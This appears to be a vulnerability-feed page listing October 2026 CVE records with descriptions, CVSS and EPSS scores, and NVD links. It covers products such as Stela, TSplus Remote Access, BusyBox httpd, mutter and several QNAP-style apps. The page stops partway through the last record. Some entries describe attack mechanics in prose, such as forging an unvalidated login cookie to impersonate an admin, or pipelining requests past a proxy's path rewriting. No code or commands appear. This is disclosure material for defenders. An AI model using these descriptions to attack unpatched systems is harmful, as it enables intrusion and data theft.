### Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity.
https://kevwire.com/record/CVE-2026-101287
Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity. (Oct 15, 2026).
Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity. The application stores the user identifier (userId) and the status of the authentication process (validSteps) in this cookie and relies on these values—which can be modified by the client—to complete the login process.



A remote attacker, without valid credentials or interaction from other users, could manipulate the cookie to bypass authentication checks and impersonate any account, including one with SUPER_ADMIN privileges. This would allow the attacker to obtain a valid JWT token with administrative privileges and compromise the confidentiality and integrity of the application.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101287).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101287&date=2026-10-25).
Sources:
NVD CVE-2026-101287: https://nvd.nist.gov/vuln/detail/CVE-2026-101287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101287&date=2026-10-25
Authentication bypass vulnerability in Stela, versions prior to 1.60.1, due to the use of a cookie named “authProcess” without validating its integrity. The application stores the user identifier (userId) and the status of the authentication process (validSteps) in this cookie and relies on these values—which can be modified by the client—to complete the login process.



A remote attacker, without valid credentials or interaction from other users, could manipulate the cookie to bypass authentication checks and impersonate any account, including one with SUPER_ADMIN privileges. This would allow the attacker to obtain a valid JWT token with administrative privileges and compromise the confidentiality and integrity of the application.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by...
https://kevwire.com/record/CVE-2026-108070
A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by... (Oct 14, 2026).
A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by manipulated paths through the /socket.io/JWN/ endpoint, bypassing the access restrictions intended for certain internal resources.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108070).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108070&date=2026-10-25).
Sources:
NVD CVE-2026-108070: https://nvd.nist.gov/vuln/detail/CVE-2026-108070
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108070&date=2026-10-25
A vulnerability involving improper access control in the TSplus Remote Access web server that allows an unauthenticated remote attacker to access internal resources protected by manipulated paths through the /socket.io/JWN/ endpoint, bypassing the access restrictions intended for certain internal resources.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism.
https://kevwire.com/record/CVE-2026-108071
Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism. (Oct 14, 2026).
Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism. A remote attacker authenticated with valid first-factor credentials could bypass the second-factor verification because the authentication flow does not correctly apply the MFA validation result, allowing the attacker to complete the login without a valid second-factor token and gain access to protected applications and resources.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108071).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108071&date=2026-10-25).
Sources:
NVD CVE-2026-108071: https://nvd.nist.gov/vuln/detail/CVE-2026-108071
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108071&date=2026-10-25
Incorrect authentication vulnerability in the TSplus Remote Access multi-factor authentication (MFA) mechanism. A remote attacker authenticated with valid first-factor credentials could bypass the second-factor verification because the authentication flow does not correctly apply the MFA validation result, allowing the attacker to complete the login without a valid second-factor token and gain access to protected applications and resources.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and...
https://kevwire.com/record/CVE-2026-14851
A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and... (Oct 14, 2026).
A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and financial data – including customer names, addresses, invoice numbers, payment details and tax information – to unauthorised individuals. The issue is caused by a lack of authorisation checks at the endpoint responsible for serving PDF invoice files. Furthermore, some URLs for invoicing documents appear to be publicly accessible via search engines, exposing paths to confidential files. Successful exploitation of this vulnerability could allow an attacker to access data to which they should not have access, as well as to predict identifiers in order to access even more confidential information.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-14851).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-14851&date=2026-10-25).
Sources:
NVD CVE-2026-14851: https://nvd.nist.gov/vuln/detail/CVE-2026-14851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-14851&date=2026-10-25
A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and financial data – including customer names, addresses, invoice numbers, payment details and tax information – to unauthorised individuals. The issue is caused by a lack of authorisation checks at the endpoint responsible for serving PDF invoice files. Furthermore, some URLs for invoicing documents appear to be publicly accessible via search engines, exposing paths to confidential files. Successful exploitation of this vulnerability could allow an attacker to access data to which they should not have access, as well as to predict identifiers in order to access even more confidential information.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path.
https://kevwire.com/record/CVE-2026-108094
A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path. (Oct 12, 2026).
A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path. A local attacker who can run a malicious Wayland client can destroy a wp_image_description_v1 resource while an asynchronous ICC file read is still in progress. When the read completes, the compositor uses the freed wl_resource, writes into freed memory, and frees a pointer derived from that memory. This can crash the GNOME session and may allow arbitrary code execution within the compositor process.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108094).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108094&date=2026-10-25).
Sources:
NVD CVE-2026-108094: https://nvd.nist.gov/vuln/detail/CVE-2026-108094
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108094&date=2026-10-25
A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path. A local attacker who can run a malicious Wayland client can destroy a wp_image_description_v1 resource while an asynchronous ICC file read is still in progress. When the read completes, the compositor uses the freed wl_resource, writes into freed memory, and frees a pointer derived from that memory. This can crash the GNOME session and may allow arbitrary code execution within the compositor process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED)...
https://kevwire.com/record/CVE-2026-109832
A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED)... (Oct 13, 2026).
A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED) are handled with an unbounded busy loop instead of yielding to the event loop. A remote attacker who can reach an enabled VNC TLS listener can cause the event-loop thread to spin at high CPU with no forward progress, resulting in denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109832).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109832&date=2026-10-25).
Sources:
NVD CVE-2026-109832: https://nvd.nist.gov/vuln/detail/CVE-2026-109832
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109832&date=2026-10-25
A flaw was found in gnome-remote-desktop as shipped in Red Hat Enterprise Linux. In the VNC TLS I/O handlers, retryable GnuTLS results (GNUTLS_E_AGAIN and GNUTLS_E_INTERRUPTED) are handled with an unbounded busy loop instead of yielding to the event loop. A remote attacker who can reach an enabled VNC TLS listener can cause the event-loop thread to spin at high CPU with no forward progress, resulting in denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication...
https://kevwire.com/record/CVE-2026-83535
A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication... (Oct 12, 2026).
A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication mechanism is silently bypassed. This fail-open design allows an adjacent network attacker to access sensitive Open vSwitch (OVS) and Open Virtual Network (OVN) dataplane metrics without credentials. Consequently, an attacker can enumerate bridge names, port counters, OVN controller state, and host topology, leading to information disclosure.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83535).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83535&date=2026-10-25).
Sources:
NVD CVE-2026-83535: https://nvd.nist.gov/vuln/detail/CVE-2026-83535
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83535&date=2026-10-25
A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication mechanism is silently bypassed. This fail-open design allows an adjacent network attacker to access sensitive Open vSwitch (OVS) and Open Virtual Network (OVN) dataplane metrics without credentials. Consequently, an attacker can enumerate bridge names, port counters, OVN controller state, and host topology, leading to information disclosure.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request...
https://kevwire.com/record/CVE-2026-88829
A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request... (Oct 14, 2026).
A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request on a TCP connection has its path rewritten. An attacker can send a pipelined second request that is relayed verbatim to the backend, bypassing the configured path restrictions. This allows accessing arbitrary paths on the backend server that were not intended to be exposed through the proxy.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88829).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88829&date=2026-10-25).
Sources:
NVD CVE-2026-88829: https://nvd.nist.gov/vuln/detail/CVE-2026-88829
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88829&date=2026-10-25
A flaw was found in BusyBox httpd's reverse proxy feature. When the proxy is configured to forward requests matching a URL prefix to a backend server, only the first HTTP request on a TCP connection has its path rewritten. An attacker can send a pipelined second request that is relayed verbatim to the backend, bypassing the configured path restrictions. This allows accessing arbitrary paths on the backend server that were not intended to be exposed through the proxy.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability has been reported to affect Qsync Central.
https://kevwire.com/record/CVE-2026-26243
A path traversal vulnerability has been reported to affect Qsync Central. (Oct 15, 2026).
A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Qsync Central 5.0.0.6 and later
Qsync Central 5.1.0.2 and later
Qsync Central 5.2.0.4 and later
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26243).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26243&date=2026-10-25).
Sources:
NVD CVE-2026-26243: https://nvd.nist.gov/vuln/detail/CVE-2026-26243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26243&date=2026-10-25
A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Qsync Central 5.0.0.6 and later
Qsync Central 5.1.0.2 and later
Qsync Central 5.2.0.4 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE.
https://kevwire.com/record/CVE-2026-34006
A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE. (Oct 15, 2026).
A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE. If exploited, the vulnerability could allow remote attackers to gain access to the system.

We have already fixed the vulnerability in the following version:
sMedio DTCP MOVE 1.4.5 and later
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34006).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34006&date=2026-10-25).
Sources:
NVD CVE-2026-34006: https://nvd.nist.gov/vuln/detail/CVE-2026-34006
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34006&date=2026-10-25
A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE. If exploited, the vulnerability could allow remote attackers to gain access to the system.

We have already fixed the vulnerability in the following version:
sMedio DTCP MOVE 1.4.5 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3.
https://kevwire.com/record/CVE-2026-34008
An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. (Oct 15, 2026).
An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. If a local attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Notes Station 3 3.9.11 and later
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34008).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34008&date=2026-10-25).
Sources:
NVD CVE-2026-34008: https://nvd.nist.gov/vuln/detail/CVE-2026-34008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34008&date=2026-10-25
An incorrect permission assignment for critical resource vulnerability has been reported to affect Notes Station 3. If a local attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Notes Station 3 3.9.11 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3.
https://kevwire.com/record/CVE-2026-34009
An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3. (Oct 15, 2026).
An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Notes Station 3 3.9.11 and later
CVSS 8.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34009).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34009&date=2026-10-25).
Sources:
NVD CVE-2026-34009: https://nvd.nist.gov/vuln/detail/CVE-2026-34009
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34009&date=2026-10-25
An improper isolation or compartmentalization vulnerability has been reported to affect Notes Station 3. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Notes Station 3 3.9.11 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station.
https://kevwire.com/record/CVE-2026-34014
An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station. (Oct 15, 2026).
An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Download Station 5.10.1.312 and later
Download Station 5.11.2.321 and later
CVSS 8.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34014).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34014&date=2026-10-25).
Sources:
NVD CVE-2026-34014: https://nvd.nist.gov/vuln/detail/CVE-2026-34014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34014&date=2026-10-25
An incorrect permission assignment for critical resource vulnerability has been reported to affect Download Station. If a local attacker gains an administrator account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
Download Station 5.10.1.312 and later
Download Station 5.11.2.321 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A relative path traversal vulnerability has been reported to affect Download Station.
https://kevwire.com/record/CVE-2026-39993
A relative path traversal vulnerability has been reported to affect Download Station. (Oct 15, 2026).
A relative path traversal vulnerability has been reported to affect Download Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Download Station 5.10.2.313 and later
Download Station 5.11.3.322 and later
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39993).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39993&date=2026-10-25).
Sources:
NVD CVE-2026-39993: https://nvd.nist.gov/vuln/detail/CVE-2026-39993
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39993&date=2026-10-25
A relative path traversal vulnerability has been reported to affect Download Station. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
Download Station 5.10.2.313 and later
Download Station 5.11.3.322 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station.
https://kevwire.com/record/CVE-2026-39997
A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station. (Oct 15, 2026).
A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to gain access to the system.

We have already fixed the vulnerability in the following version:
HybridDesk Station 4.2.22 and later
CVSS 8.9 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-39997).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39997&date=2026-10-25).
Sources:
NVD CVE-2026-39997: https://nvd.nist.gov/vuln/detail/CVE-2026-39997
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39997&date=2026-10-25
A missing authentication for critical function vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to gain access to the system.

We have already fixed the vulnerability in the following version:
HybridDesk Station 4.2.22 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A path traversal vulnerability has been reported to affect QcalAgent.
https://kevwire.com/record/CVE-2026-41544
A path traversal vulnerability has been reported to affect QcalAgent. (Oct 15, 2026).
A path traversal vulnerability has been reported to affect QcalAgent. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
QcalAgent 1.1.10 and later
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41544).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41544&date=2026-10-25).
Sources:
NVD CVE-2026-41544: https://nvd.nist.gov/vuln/detail/CVE-2026-41544
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41544&date=2026-10-25
A path traversal vulnerability has been reported to affect QcalAgent. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
QcalAgent 1.1.10 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A relative path traversal vulnerability has been reported to affect QuMagie.
https://kevwire.com/record/CVE-2026-41545
A relative path traversal vulnerability has been reported to affect QuMagie. (Oct 15, 2026).
A relative path traversal vulnerability has been reported to affect QuMagie. If a remote attacker gains an administrator account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
QuMagie 2.9.1 and later
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41545).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41545&date=2026-10-25).
Sources:
NVD CVE-2026-41545: https://nvd.nist.gov/vuln/detail/CVE-2026-41545
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41545&date=2026-10-25
A relative path traversal vulnerability has been reported to affect QuMagie. If a remote attacker gains an administrator account, they can then exploit the vulnerability to read the contents of unexpected files or system data.

We have already fixed the vulnerability in the following version:
QuMagie 2.9.1 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS command injection vulnerability has been reported to affect HybridDesk Station.
https://kevwire.com/record/CVE-2026-47786
An OS command injection vulnerability has been reported to affect HybridDesk Station. (Oct 15, 2026).
An OS command injection vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.

We have already fixed the vulnerability in the following version:
HybridDesk Station 4.2.23 and later
HybridDesk Station 4.3.4 and later
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-47786).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-47786&date=2026-10-25).
Sources:
NVD CVE-2026-47786: https://nvd.nist.gov/vuln/detail/CVE-2026-47786
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-47786&date=2026-10-25
An OS command injection vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.

We have already fixed the vulnerability in the following version:
HybridDesk Station 4.2.23 and later
HybridDesk Station 4.3.4 and later

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie.
https://kevwire.com/record/CVE-2026-50612
An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie. (Oct 15, 2026).
An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.

We have already fixed the vulnerability in the following version:
QuMagie 2.9.2 and later
CVSS 9.4 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50612).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50612&date=2026-10-25).
Sources:
NVD CVE-2026-50612: https://nvd.nist.gov/vuln/detail/CVE-2026-50612
